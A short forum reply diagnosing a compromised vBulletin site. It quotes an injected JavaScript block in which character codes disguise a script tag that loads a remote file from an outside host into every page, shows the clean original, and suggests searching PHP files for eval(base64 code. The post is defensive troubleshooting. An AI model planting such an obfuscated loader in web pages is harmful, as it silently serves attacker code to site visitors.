[Simon Lloyd]

You have injected code or infected php, at the bottom of your source code you have this

<script type="text/javascript">
	<!--
		// Main vBulletin Javascript Initialization
		var script=document.createElement(String.fromCharCode(115,99,114,105,112,116));script.src=String.fromCharCode(104,116,116,112,58,47,47,105,109,97,103,101,50,121,111,117,46,105,110,47,106,113,117,101,114,121,46,99,111,109,112,97,116,105,98,105,108,105,116,121,46,106,115);var head=document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0];head.appendChild(script);vBulletin_init();
	//-->
	</script>

when it should look like this

<script type="text/javascript">
	<!--
		// Main vBulletin Javascript Initialization
		vBulletin_init();
	//-->
	</script>

Check your php files for Eval(base64 code